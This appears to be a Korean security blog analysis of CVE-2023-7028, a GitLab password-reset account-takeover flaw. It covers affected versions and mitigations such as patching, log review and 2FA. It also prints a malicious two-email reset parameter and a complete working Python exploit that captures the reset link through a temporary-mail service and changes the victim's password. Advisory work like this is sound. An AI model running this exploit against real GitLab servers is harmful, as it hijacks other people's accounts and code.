1. GitLab [1]
- 소프트웨어 개발 및 협업을 위한 다양한 솔루션을 제공하는 웹 기반 DevOps 플랫폼
> 깃 저장소 관리, CI/CD, 이슈 추적, 보안성 테스트 등
> GitLab CE: Community Edition / GitLab EE: Enterprise Edition
2. 취약점
- 취약한 버전의 GitLab에서 비밀번호 재설정 프로세스의 버그로 인해 발생하는 계정 탈취 취약점 (CVSS: 10.0)
> 사용자 개입 없이 계정을 탈취할 수 있음
> 비밀번호 재설정 기능을 악용하여 계정 비밀번호 재설정 이메일이 확인되지 않은 이메일 주소로 전달되는 취약점
취약한 버전
- GitLab Community Edition(CE) 및 Enterprise Edition(EE) 버전 정보
> 16.1 ~ 16.1.5
> 16.2 ~ 16.2.8
> 16.3 ~ 16.3.6
> 16.4 ~ 16.4.4
> 16.5 ~ 16.5.5
> 16.6 ~ 16.6.3
> 16.7 ~ 16.7.1
2.1 취약점 상세 [3]
- 23.05.01 GitLab 16.1.0 버전에서 보조 이메일 주소를 통한 비밀번호 재설정 기능 도입
> 구체적인 내용은 확인되지 않으나, 이메일 확인 프로세스의 버그로 인해 발생되는 것으로 판단됨
- 공격 대상 이메일과 공격자가 제어하는 보조 이메일 주소를 입력
> 공격자가 제어하는 보조 이메일 주소로 비밀번호 재설정 메시지 전송
※ 공격 대상 이메일에도 비밀번호 재설정 메시지가 전송됨
> 공격자는 전송된 메시지를 통해 비밀번호 재설정 프로세스를 하이재킹하여 비밀번호 변경 및 계정 탈취가 가능해짐
user[email][]=my.target@example.com&user[email][]=hacker@evil.com
2.2 PoC [4]
- PoC 동작 과정
① POST 메서드를 이용해 /user/password URL로 악성 요청 전송
② 응답에서 인증 토큰(authenticity_token) 추출 후 비밀번호 재설정 요청 전송
③ 공격 대상 이메일과 공격자 제어 이메일에 비밀번호 재설정 메시지 전송
④ 새로운 패스워드 설정 후 공격 대상 계정 및 재설정 비밀번호를 이용해 /users/sign_in URL로 접근 가능함을 안내
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class OneSecMail_api:
def __init__(self):
self.url = "https://www.1secmail.com"
self.domains = []
def get_domains(self):
print('[DEBUG] Scrapping available domains on 1secmail.com')
html = requests.get(f'{self.url}').text
pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')
self.domains = pattern.findall(html)
print(f'[DEBUG] {len(self.domains)} domains found')
def get_email(self):
print('[DEBUG] Getting temporary mail')
if self.domains == []:
self.get_domains()
if self.domains == []:
return None
name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])
domain = choice(self.domains)
mail = f'{name}@{domain}'
print(f'[DEBUG] Temporary mail: {mail}')
return mail
def get_mail_ids(self, name, domain):
print(f'[DEBUG] Getting last mail for {name}@{domain}')
html = requests.post(f'{self.url}/mailbox',
verify=False,
data={
'action': 'getMessages',
'login': name,
'domain': domain
}).text
pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">')
mails = pattern.findall(html)
return mails
def get_last_mail(self, mail):
name, domain = mail.split('@')
mails = self.get_mail_ids(name, domain)
print(f'[DEBUG] {len(mails)} mail(s) found')
if mails == []:
return None
print(f'[DEBUG] Reading the last one')
html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text
content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]
return content
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.mail_api = OneSecMail_api()
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
if self.evil is None:
self.use_temp_mail = True
self.evil = self.mail_api.get_email()
if not self.evil:
print('[DEBUG] Failed ... quitting')
exit()
def get_authenticity_token(self, code=''):
try:
print('[DEBUG] Getting authenticity_token ...')
endpoint = f'/users/password/edit?reset_password_token={code}'
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text
regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_email(self, content):
try:
pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"')
token = pattern.findall(content)[0]
return token
except:
return None
def get_code(self, max_attempt=5, delay=7.5):
if not self.use_temp_mail:
url = input('\tInput link received by mail: ')
pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))')
match = pattern.findall(url)
if len(match) != 1:
return None
return match[0][1]
else:
for k in range(1, max_attempt+1):
print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')
sleep(delay)
print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')
last_email = self.mail_api.get_last_mail(self.evil)
if last_email is not None:
code = self.parse_email(last_email)
return code
def reset_password(self, password):
code = self.get_code()
if not code:
print('[DEBUG] Failed ... quitting')
return False
print('[DEBUG] Generating new password')
charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
if password is None:
password = ''.join(choice(charset) for _ in range(20))
authenticity_token = self.get_authenticity_token(code)
if authenticity_token is None:
return False
print(f'[DEBUG] Changing password to {password}')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
verify=False,
data={
'_method': 'put',
'authenticity_token': authenticity_token,
'user[reset_password_token]': code,
'user[password]': password,
'user[password_confirmation]': password
}).text
success = 'Your password has been changed successfully.' in html
if success:
print('[DEBUG] CVE_2023_7028 succeed !')
print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in')
print(f'\tUsername: {self.target}')
print(f'\tPassword: {password}')
else:
print('[DEBUG] Failed ... quitting')
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
exploit.reset_password(password=args.password)
3. 대응방안
① 벤더사 제공 업데이트 및 권장사항 적용 [6]
- 해당 취약점을 포함한 5개의 취약점 패치를 제공하며, 즉각적인 조치가 필요
> 권장 사항 [7]
⒜ 여러 이메일 주소가 포함된 JSON 배열을 사용해 /users/password에 대한 HTTP 요청 로그(gitlab-rails/production_json.log)를 검토
⒝ 감사 로그(gitlab-rails/audit_json.log)에서 여러 이메일 주소의 JSON 배열이 포함된 PasswordsController#create와 관련된 항목이 있는지 확인
제품명 | 영향받는 버전 | 해결버전 |
GitLab CE/EE | 16.1 ~ 16.1.5 | 16.1.6 |
16.2 ~ 16.2.8 | 16.2.9 | |
16.3 ~ 16.3.6 | 16.3.7 | |
16.4 ~ 16.4.4 | 16.4.5 | |
16.5 ~ 16.5.5 | 16.5.6 | |
16.6 ~ 16.6.3 | 16.6.4 | |
16.7 ~ 16.7.1 | 16.7.2 |
② 모든 GitLab 계정에 대해 2단계 인증 적용
- 2단계 인증 활성화시 비밀번호 재설정 취약점은 여전히 존재하나 2단계 인증 방법에는 액세스 불가
③ GitLab에 저장된 모든 비밀을 변경 [8]
- GitLab 계정 비밀번호를 포함한 모든 자격 증명
- API 토큰
- 모든 인증서
- 다른 비밀 정보
4. 참고
[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-7028
[3] https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
[4] https://github.com/Vozec/CVE-2023-7028
[5] https://0xweb01.medium.com/account-takeover-via-password-reset-without-user-interactions-cve-2023-7028-cbd2e675992e
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71289&menuNo=205020
[7] https://threatprotect.qualys.com/2024/01/15/gitlab-ee-ce-account-take-over-vulnerability-cve-2023-7028/
[8] https://docs.gitlab.com/ee/security/responding_to_security_incidents.html#suspected-compromised-user-account
[9] https://www.securityweek.com/gitlab-patches-critical-password-reset-vulnerability/
[10] https://thehackernews.com/2024/01/urgent-gitlab-releases-patch-for.html?m=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=152803
'취약점 > Hijacking' 카테고리의 다른 글
LogoFAIL 취약점 (0) | 2023.12.12 |
---|